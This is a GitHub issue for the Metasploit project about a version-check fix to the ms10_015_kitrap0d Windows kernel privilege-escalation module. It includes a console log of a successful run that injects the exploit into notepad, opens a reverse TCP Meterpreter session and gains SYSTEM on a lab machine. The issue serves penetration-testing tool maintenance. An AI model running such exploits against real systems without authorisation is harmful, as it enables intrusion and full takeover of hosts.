Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ms10_015_kitrap0d missing Windows .NET Server detection #9237

Closed
vipzen opened this issue Nov 23, 2017 · 3 comments
Closed

ms10_015_kitrap0d missing Windows .NET Server detection #9237

vipzen opened this issue Nov 23, 2017 · 3 comments

Comments

@vipzen
Copy link
Contributor

vipzen commented Nov 23, 2017

At line 58, adding Windows .NET Server fixed the issue.

unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/

Result:

msf exploit(ms10_015_kitrap0d) > run

[*] Started reverse TCP handler on 192.168.1.35:8081 
[*] Launching notepad to host the exploit...
[+] Process 3564 launched.
[*] Reflectively injecting the exploit DLL into 3564...
[*] Injecting exploit into 3564 ...
[*] Exploit injected. Injecting payload into 3564...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179296 bytes) to 192.168.1.52
[*] Meterpreter session 21 opened (192.168.1.35:8081 -> 192.168.1.52:1036) at 2017-11-23 05:53:18 -0200

meterpreter > getuid
Server username: AUTORIDADE NT\SYSTEM
meterpreter  > sysinfo
Computer        : WIN2K3-SP1-PTBR
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : pt_BR
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > 
@OJ
Copy link
Contributor

OJ commented Nov 23, 2017

Why not PR your change? :)

@vipzen
Copy link
Contributor Author

vipzen commented Nov 23, 2017

Absolutely, done.

@wwebb-r7
Copy link
Contributor

Merged, thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants